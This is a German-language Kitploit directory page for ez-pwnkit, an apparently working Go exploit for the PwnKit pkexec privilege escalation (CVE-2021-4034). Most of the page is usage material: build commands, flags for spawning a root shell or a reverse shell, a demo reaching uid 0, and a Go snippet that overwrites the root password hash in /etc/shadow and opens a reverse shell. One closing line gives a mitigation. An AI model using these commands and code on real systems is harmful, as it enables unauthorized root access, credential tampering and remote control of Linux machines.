Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ez-pwnkit — Go-Implementierung des PwnKit Linux Local Privilege Escalation Exploits (CVE-2021-4034) | Kitploit
Tools/GitHubGitHub/oxdbxkxo/ez-pwnkit
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPayload-Entwicklung
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Go-Implementierung des PwnKit Linux Local Privilege Escalation Exploits (CVE-2021-4034)

Repository anzeigen
92vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ez-pwnkit

Eine reine Go-Implementierung des CVE-2021-4034 PwnKit-Exploits.

Der Exploit verwendet syscall.ForkExec, um das Ende des Hauptprogramms zu überleben.

Installation

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

Da der Exploit auf einer bösartigen gemeinsam genutzten Bibliothek basiert, wird eine PWN.so-Datei aus payload.go generiert und in das resultierende exploit-Programm eingebettet.

Das Makefile verwendet sed, um den Paketnamen der payload.go-Datei vorübergehend in main zu ändern, wodurch dieses Makefile nur unter Linux funktioniert.

Da das Go-Payload nicht so zuverlässig ist wie das C-Payload, kompiliert das Makefile den Exploit standardmäßig mit dem C-Payload. Sie können wahlweise mit dem Go-Payload kompilieren, indem Sie make build_go verwenden.

Verwendung

Als eigenständiges Programm

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

Der Exploit kann entweder mit einem Befehl (-c), als Reverse-Shell (-r) oder zum Starten einer Root-Shell (-s) verwendet werden.

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

Als Paket

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

Beachten Sie, dass Command und RevShell syscall.ForkExec verwenden, um den Exploit auszuführen. Die resultierenden Prozesse sind daher vom Hauptprogramm getrennt und überleben dessen Ende.

Obwohl go-PwnKit von Github in Ihr Projekt importiert werden kann, vergessen Sie nicht, dass Sie eine nicht vertrauenswürdige gemeinsam genutzte Bibliothek als Root ausführen. Die Verwendung einer lokal kompilierten PWN.so wird daher dringend empfohlen. Nur so nebenbei 😚

Demonstration

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

Gegenmaßnahmen

Patchen Sie pkexec wenn möglich, andernfalls entfernen Sie das setuid-Bit auf der pkexec-Binärdatei.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

Danksagungen

Dieses Projekt ist von mehreren anderen PoCs des PwnKit-Exploits inspiriert.

Dank an An00bRektn für das unkomplizierte Exploit-Setup.

Dank an PaterGottesman und berdav für die Klarheit der Exploit-Erklärung.

Dank an dzonerzy für den GIO_USE_VFS-Trick.

Tool herunterladen